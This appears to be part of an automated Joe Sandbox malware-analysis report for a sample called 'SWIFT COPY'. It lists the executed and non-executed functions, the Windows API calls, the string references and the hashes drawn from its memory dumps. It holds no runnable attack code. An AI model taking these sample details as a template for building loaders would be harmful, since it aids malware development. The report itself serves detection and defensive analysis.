Executed Functions

Function 00417813 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417885

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 56521a4f42ae9fa4dd1f48ddcc66fa5ad703c4b222d6c0bc46afaba39208bf64
Instruction ID: 05a5680942dabe8a321efdcf2b6f82430579c081dca23c65dcb556c1d755013b
Opcode Fuzzy Hash: 56521a4f42ae9fa4dd1f48ddcc66fa5ad703c4b222d6c0bc46afaba39208bf64
Instruction Fuzzy Hash: 8A0152B1E4010DB7DB10EAA1DC42FDEB3789B14308F4081A6E90897240F674EB48CB95

Function 0042C743 Relevance: 1.5, APIs: 1, Instructions: 25nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042C774

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 085c86df9dafaac33c1aaa89ff5402a964957b63bb21a493f7364fc0a86431e4
Instruction ID: 9e0658677882e74928744a82f9e72dba2eb639633bc470e9b9a98b36903aceda
Opcode Fuzzy Hash: 085c86df9dafaac33c1aaa89ff5402a964957b63bb21a493f7364fc0a86431e4
Instruction Fuzzy Hash: 63E04F752002147BC610EA5AEC41E9B775CDFC5724F004419FA48A7241CA75BA11C6A4

Function 01372B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01372B6A

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: f9113bcf04240d18087368b35377498973b34a5477a064d91713415e025a9dc7
Instruction ID: 0eb9bf6dc68a97c3b9e4e40079c2a98e85466a45beac775425efc4f905cf4f44
Opcode Fuzzy Hash: f9113bcf04240d18087368b35377498973b34a5477a064d91713415e025a9dc7
Instruction Fuzzy Hash: AA900265202500039105725C4454616900B97E0305B95C061E1014594DC52989956225

Function 01372DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01372DFA

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 5582de3a658c3daa77448055d94ebd4c882e81c57671a64fecdc88a1e6253a74
Instruction ID: e4e897a463f56b6fb8e0c5915ec360c3c7bb91d943529b4ff4c9bc99a5ea0428
Opcode Fuzzy Hash: 5582de3a658c3daa77448055d94ebd4c882e81c57671a64fecdc88a1e6253a74
Instruction Fuzzy Hash: 3C90023520150413E111725C4544707500A97D0345FD5C452A042455CDD65A8A56A221

Function 01372C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01372C7A

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 17c2525012a1076020322cfdbbcdd472ec9d57205d99d63d1cbe393f9615b9e8
Instruction ID: 1204eb089bf2aa0b504953bd3068aaeb6a5d5b78801919abfdfacdb545ab441a
Opcode Fuzzy Hash: 17c2525012a1076020322cfdbbcdd472ec9d57205d99d63d1cbe393f9615b9e8
Instruction Fuzzy Hash: 6D90023520158802E110725C844474A500697D0305F99C451A442465CDC69989957221

Function 013735C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 013735CA

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: defd4171429106ff033c9f6ba7f3f0f328ccfcfc9ea81a2b6cd6c6cba6798e00
Instruction ID: d66b4b142d73d651a96a1ca85a1cd0c07473d356dc53195415dad2be22a10eaf
Opcode Fuzzy Hash: defd4171429106ff033c9f6ba7f3f0f328ccfcfc9ea81a2b6cd6c6cba6798e00
Instruction Fuzzy Hash: DB90023560560402E100725C4554706600697D0305FA5C451A042456CDC7998A5566A2

Function 00414119 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 65
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 00414100

Strings

40F193-3PQ, xrefs: 00414107, 0041410A
40F193-3PQ, xrefs: 004140F3, 004140FF, 00414110

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: c6518daae546de9adca5e6c6ca355c75d1bb2b16d27b4bf47e46c483232480bd
Instruction ID: 26a48773d49b5d4830db5d6a3abe6c0441e01ffa8e7dd764610f6d3443abad5e
Opcode Fuzzy Hash: c6518daae546de9adca5e6c6ca355c75d1bb2b16d27b4bf47e46c483232480bd
Instruction Fuzzy Hash: F5117B31D0024879EB309E708C05FEF6B654BD2764F48829AFE14AB3D2D77949C28788

Function 0041406F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 00414100

Strings

40F193-3PQ, xrefs: 00414107, 0041410A
40F193-3PQ, xrefs: 004140F3, 004140FF, 00414110

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: 8d5fe0c3c9cdc8e49817f3f7c81564a0f05defde10c584dc7b50df3ffdad5cdd
Instruction ID: 0f7a8f7452082f141b53ab21a3766a0a1486675bc0825100db931c7ccd50f644
Opcode Fuzzy Hash: 8d5fe0c3c9cdc8e49817f3f7c81564a0f05defde10c584dc7b50df3ffdad5cdd
Instruction Fuzzy Hash: BA01DF32E4521876E7209791AC02FDEB7689F81B14F40815AFF147B381D6795A0247D9

Function 0041407C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 00414100

Strings

40F193-3PQ, xrefs: 00414107, 0041410A
40F193-3PQ, xrefs: 004140F3, 004140FF, 00414110

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: f97a2dbf0e9be62fbf43441762b2e807058933e57bce9d2d8aa05f467568e6ba
Instruction ID: 087d0fd33435a02eb29b34bb39c81c2954cd161ddf22aaec2d78f1b904196256
Opcode Fuzzy Hash: f97a2dbf0e9be62fbf43441762b2e807058933e57bce9d2d8aa05f467568e6ba
Instruction Fuzzy Hash: 9E112F31E40218B6EB2197E18C02FDF7B7C8F81B44F408069FA047B2C1D7B85A0687E5

Function 00414083 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(40F193-3PQ,00000111,00000000,00000000), ref: 00414100

Strings

40F193-3PQ, xrefs: 00414107, 0041410A
40F193-3PQ, xrefs: 004140F3, 004140FF, 00414110

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 40F193-3PQ$40F193-3PQ
API String ID: 1836367815-1005098266
Opcode ID: e6ba9eb905182b9ec34c9235bf651bffb639cd546324c055ce8da76e89865faa
Instruction ID: 5cdb5b93b2f758ed905246f69099698f9d56dcfdbf049b8bc6d5a2d33433c103
Opcode Fuzzy Hash: e6ba9eb905182b9ec34c9235bf651bffb639cd546324c055ce8da76e89865faa
Instruction Fuzzy Hash: FA012B31D40218B6EB20A7E18C02FDF7B7C8F81B44F008059FA047B2C1D7B8560687E9

Function 0041794B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 118
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417885

Strings

&cE}, xrefs: 00417927

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: Load
String ID: &cE}
API String ID: 2234796835-1295445062
Opcode ID: 6439951d975df4877770d5839dc9fe536a531832f717cbe13e993940e6d1af77
Instruction ID: 54892b8292313859b9e7f06cc59cb8e9e8f05bca02ccaa695f3ba87433a3d82d
Opcode Fuzzy Hash: 6439951d975df4877770d5839dc9fe536a531832f717cbe13e993940e6d1af77
Instruction Fuzzy Hash: FE31CAB2B882096BDB11EF74DC42FEAB7B8EB40344F4801DEE8088B146E6359448CB94

Function 0042CA93 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,?,00000007,00000000,00000004,00000000,?,000000F4), ref: 0042CACC

Strings

neA, xrefs: 0042CA96

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: neA
API String ID: 3298025750-2757349852
Opcode ID: 24838165d5d3598a3ea7bb2b05c3706a31ee61b17379b23aec4e324c29ae2178
Instruction ID: 9121e88aff0d49045895fe5efa263953fc4bc90d71136d3efce1da578365df1c
Opcode Fuzzy Hash: 24838165d5d3598a3ea7bb2b05c3706a31ee61b17379b23aec4e324c29ae2178
Instruction Fuzzy Hash: 45E092B22042147BD610EF59EC41E9B37ADEFC8710F004419FE09A7242C771B9108BB4

Function 0042CA53 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041E604,?,?,00000000,?,0041E604,?,?,?), ref: 0042CA8C

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dd039b19f67d4f101c1c83f73f2c4a615ab43ac305152a862787506efeb51d13
Instruction ID: 2033942cd3b101f58bf4d77c2136ec80b735e96d56796e01d22862b954715158
Opcode Fuzzy Hash: dd039b19f67d4f101c1c83f73f2c4a615ab43ac305152a862787506efeb51d13
Instruction Fuzzy Hash: 7CE06DB12442047BDA10EE59EC42E9B37ADDFC4710F004419FA08A7241DA71B95087B4

Function 0042CAD3 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,00000000,00000000,?,53EC9B57,?,?,53EC9B57), ref: 0042CB07

Memory Dump Source

Source File: 00000003.00000002.2223687657.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_SWIFT COPY.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: e026587fc2ca3ee475d83143d77eba9ec23cbd0096a79b0590467f2d36563e8f
Instruction ID: 4f7d0579f0d3a644c73c2585b10cf1452984b28a7a8af53eb300c7de9d046712
Opcode Fuzzy Hash: e026587fc2ca3ee475d83143d77eba9ec23cbd0096a79b0590467f2d36563e8f
Instruction Fuzzy Hash: CBE046722002147BC620AA6AEC05F9BB76CDBC5724F00441AFB0CAB282DA75BA0187A4

Function 01372C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01372C24

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f4586df77c84cd6e8f920dc5106fa6c9f84e47a87251ac6d924451d30f034e8
Instruction ID: e4fb0378acc627aab97e910c7b9d6079cbacc7ccc6be885a03a057387b1bea7b
Opcode Fuzzy Hash: 8f4586df77c84cd6e8f920dc5106fa6c9f84e47a87251ac6d924451d30f034e8
Instruction Fuzzy Hash: A7B09B719015C5C5EE11F7644608717790577D0705F55C061D3030645F473CC1D5E275

Non-executed Functions

Function 013B2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 013B25A0
@, xrefs: 013B2B74
FrontEndHeapDebugOptions, xrefs: 013B2489
UnloadEventTraceDepth, xrefs: 013B24C0
MinimumStackCommitInBytes, xrefs: 013B2BB0
RaiseExceptionOnPossibleDeadlock, xrefs: 013B2579
minkernel\ntdll\ldrinit.c, xrefs: 013B3187
@, xrefs: 013B2942
UseImpersonatedDeviceMap, xrefs: 013B251C
TracingFlags, xrefs: 013B2549
DisableExceptionChainValidation, xrefs: 013B275F
GlobalFlag, xrefs: 013B2F3F, 013B3059
MaxDeadActivationContexts, xrefs: 013B2D82
MaxLoaderThreads, xrefs: 013B24EC
CFGOptions, xrefs: 013B2967
DisableHeapLookaside, xrefs: 013B246D
ShutdownFlags, xrefs: 013B24A1
Initializing the application verifier package failed with status 0x%08lx, xrefs: 013B3176
GlobalFlag2, xrefs: 013B2FC0
LdrpInitializeExecutionOptions, xrefs: 013B317D

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 8078f7db5927f319619db4cb6212b944780b143666b1876b8b40a5a6c8a447a7
Instruction ID: 3eb96fe44c8ca13f05e3280c22f2b484c5e3fff6bb39b584f77afe2c0f1c5d9a
Opcode Fuzzy Hash: 8078f7db5927f319619db4cb6212b944780b143666b1876b8b40a5a6c8a447a7
Instruction Fuzzy Hash: C9929E71604342ABE725DE28C881BABBBE8FF84758F044A1DFB94D7650E774E844CB52

Function 01368620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013A540A, 013A5496, 013A5519
Invalid debug info address of this critical section, xrefs: 013A54B6
Thread identifier, xrefs: 013A553A
Critical section address, xrefs: 013A5425, 013A54BC, 013A5534
double initialized or corrupted critical section, xrefs: 013A5508
Critical section address., xrefs: 013A5502
corrupted critical section, xrefs: 013A54C2
undeleted critical section in freed memory, xrefs: 013A542B
Address of the debug info found in the active list., xrefs: 013A54AE, 013A54FA
8, xrefs: 013A52E3
Thread is in a state in which it cannot own a critical section, xrefs: 013A5543
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013A54CE
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 013A54E2
Critical section debug info address, xrefs: 013A541F, 013A552E

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 4e6bde2881901533b8361f44da61860ad223f0e0848d2ef1d3680aca2029341b
Instruction ID: 667a1a039c2bfa4251fd0f607244cc1cf3a3f8ca57e83e00d4d7dad9a8e5ede2
Opcode Fuzzy Hash: 4e6bde2881901533b8361f44da61860ad223f0e0848d2ef1d3680aca2029341b
Instruction Fuzzy Hash: 8C81EEB0A40318EFDB24CF99C840BAEBBB9FB48718F644599F504B7680D774A940CB64

Function 013629F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON

Download Yara Rule

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 013A2624
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 013A25EB
RtlpResolveAssemblyStorageMapEntry, xrefs: 013A261F
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 013A2506
SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx, xrefs: 013A2409
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 013A2498
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 013A2412
@, xrefs: 013A259B
SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx, xrefs: 013A2602
SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p, xrefs: 013A22E4
SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 013A24C0

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$RtlpResolveAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx$SXS: Assembly directory name stored in assembly information too long (%lu bytes) - ACTIVATION_CONTEXT_DATA at %p$SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx$SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx$SXS: Attempt to probe known root of assembly storage ("%wZ") failed; Status = 0x%08lx$SXS: Attempt to translate DOS path name "%S" to NT format failed$SXS: Storage resolution failed to insert entry to storage map; Status = 0x%08lx$SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx$SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries
API String ID: 0-4009184096
Opcode ID: d7a408966d32600f3c49f2f3c188b246fc7c4ea3dd0ee916f29f63d0336d37a5
Instruction ID: 904ec5fdca168525cdecf89e61972e30583af41a1796f54e50c7bebf8a6977ba
Opcode Fuzzy Hash: d7a408966d32600f3c49f2f3c188b246fc7c4ea3dd0ee916f29f63d0336d37a5
Instruction Fuzzy Hash: 8F0271F1D002299FDB31DB58CC80BDAB7BCAB54308F4541EAE649A7245E7709E84CF59

Function 013D8B42 Relevance: 12.6, Strings: 10, Instructions: 146COMMON

Download Yara Rule

Strings

lsass.exe, xrefs: 013D8BA1
smss.exe, xrefs: 013D8B8B
runtimebroker.exe, xrefs: 013D8B73
heapType, xrefs: 013D8BCB
SegmentHeap, xrefs: 013D8BE9
http://schemas.microsoft.com/SMI/2020/WindowsSettings, xrefs: 013D8BD0
csrss.exe, xrefs: 013D8B80
services.exe, xrefs: 013D8B96
DefaultBrowser_NOPUBLISHERID, xrefs: 013D8D00
svchost.exe, xrefs: 013D8B68

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: DefaultBrowser_NOPUBLISHERID$SegmentHeap$csrss.exe$heapType$http://schemas.microsoft.com/SMI/2020/WindowsSettings$lsass.exe$runtimebroker.exe$services.exe$smss.exe$svchost.exe
API String ID: 0-2515994595
Opcode ID: a755a86d5d5f522ad628e7503dda3519dbb72101376ae10e1e27cb60ca0ffd0f
Instruction ID: a064dfb78126f302e72f76a077acb12fee43aefca9301609f3891ffdf737196e
Opcode Fuzzy Hash: a755a86d5d5f522ad628e7503dda3519dbb72101376ae10e1e27cb60ca0ffd0f
Instruction Fuzzy Hash: F051C0725043459BD73ACF189844BABBBECFF94658F14495DF999C3280E770E608CB92

Function 013E0274 Relevance: 10.3, Strings: 8, Instructions: 348COMMON

Download Yara Rule

Strings

RtlReAllocateHeap, xrefs: 013E02BF, 013E0362
Invalid allocation size - %Ix (exceeded %Ix), xrefs: 013E06EA
About to rellocate block at %p to 0x%Ix bytes with tag %ws, xrefs: 013E04D3
Just reallocated block at %p to 0x%Ix bytes with tag %ws, xrefs: 013E069F
HEAP[%wZ]: , xrefs: 013E0399, 013E04A8, 013E05D0, 013E0675, 013E06CC
About to reallocate block at %p to %Ix bytes, xrefs: 013E03BA
HEAP: , xrefs: 013E03A6, 013E04B5, 013E05DD, 013E0682, 013E06D9
Just reallocated block at %p to %Ix bytes, xrefs: 013E05F1

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
API String ID: 0-1700792311
Opcode ID: bf189f4b8253f924fe5ba1fc5496b6428047dec8161ffc8c27d11f26b5950888
Instruction ID: 0bb0ef0b728dd33345e9a43e76c73902eee00d06f656c3ddd7e32093a26fdf7b
Opcode Fuzzy Hash: bf189f4b8253f924fe5ba1fc5496b6428047dec8161ffc8c27d11f26b5950888
Instruction Fuzzy Hash: D7D1DF316007A5DFDB2AEF68C448AADBBF1FF59718F188049F445AB692C7B49981CF10

Function 013663FF Relevance: 10.3, Strings: 8, Instructions: 261COMMON

Download Yara Rule

Strings

Process initialization failed with status 0x%08lx, xrefs: 013A413A
`,, xrefs: 01366510
_LdrpInitialize, xrefs: 013A40DF, 013A4141, 013A4205, 013A425F
minkernel\ntdll\ldrinit.c, xrefs: 013A40E9, 013A414B, 013A420F, 013A4269
Delaying execution failed with status 0x%08lx, xrefs: 013A4258
NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop, xrefs: 013A41FE
LDR:MRDATA: Process initialization failed with status 0x%08lx, xrefs: 013A40D8
h=, xrefs: 0136654D

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Delaying execution failed with status 0x%08lx$LDR:MRDATA: Process initialization failed with status 0x%08lx$NtWaitForSingleObject failed with status 0x%08lx, fallback to delay loop$Process initialization failed with status 0x%08lx$_LdrpInitialize$`,$h=$minkernel\ntdll\ldrinit.c
API String ID: 0-3391357973
Opcode ID: 762681647ff77ff7ba5891b6941aada8cbc6e6a86405b424ab4adf6fe787df77
Instruction ID: 395b99d844ef9ca26ba0e178c16a95d96b87147d54285e880bb642bd30e68819
Opcode Fuzzy Hash: 762681647ff77ff7ba5891b6941aada8cbc6e6a86405b424ab4adf6fe787df77
Instruction Fuzzy Hash: 0A9148B0B00315DBEB36DF1CD846BAA7BA9FF40B5CF948129E9007B699D7B49841C790

Function 013B89B3 Relevance: 10.3, Strings: 8, Instructions: 259COMMON

Download Yara Rule

Strings

HandleTraces, xrefs: 013B8C8F
VerifierFlags, xrefs: 013B8C50
VerifierDebug, xrefs: 013B8CA5
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 013B8A67
VerifierDlls, xrefs: 013B8CBD
`,, xrefs: 013B8A35, 013B8A5F
AVRF: -*- final list of providers -*- , xrefs: 013B8B8F
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 013B8A3D

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags$`,
API String ID: 0-1326338960
Opcode ID: b8bd91e552b9e0d0514d807911a50878d9a6b91f9e18da4b01383264dd918146
Instruction ID: e0609bd202385a993967b439d9ed08d83191bf18e92828897ad5732a536bb41d
Opcode Fuzzy Hash: b8bd91e552b9e0d0514d807911a50878d9a6b91f9e18da4b01383264dd918146
Instruction Fuzzy Hash: 189125B1641316AFD721DF2C88C0BEAB7ACAB54B1CF850499FB446FA50E7309C40CBA5

Function 0132645D Relevance: 8.9, Strings: 7, Instructions: 150COMMON

Download Yara Rule

Strings

Getting the shim engine exports failed with status 0x%08lx, xrefs: 01389A01
Loading the shim engine DLL failed with status 0x%08lx, xrefs: 01389A2A
apphelp.dll, xrefs: 01326496
`,, xrefs: 01326557
minkernel\ntdll\ldrinit.c, xrefs: 01389A11, 01389A3A
LdrpInitShimEngine, xrefs: 013899F4, 01389A07, 01389A30
Building shim engine DLL system32 filename failed with status 0x%08lx, xrefs: 013899ED

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Building shim engine DLL system32 filename failed with status 0x%08lx$Getting the shim engine exports failed with status 0x%08lx$LdrpInitShimEngine$Loading the shim engine DLL failed with status 0x%08lx$`,$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-2254957362
Opcode ID: f5007826238df81c11f935aa53927fcbbe00984877549e648016c0d40a20f01f
Instruction ID: 4ff758233a5a18f2089a61c87ee974229e599d9bac3d010db5e7307300829de0
Opcode Fuzzy Hash: f5007826238df81c11f935aa53927fcbbe00984877549e648016c0d40a20f01f
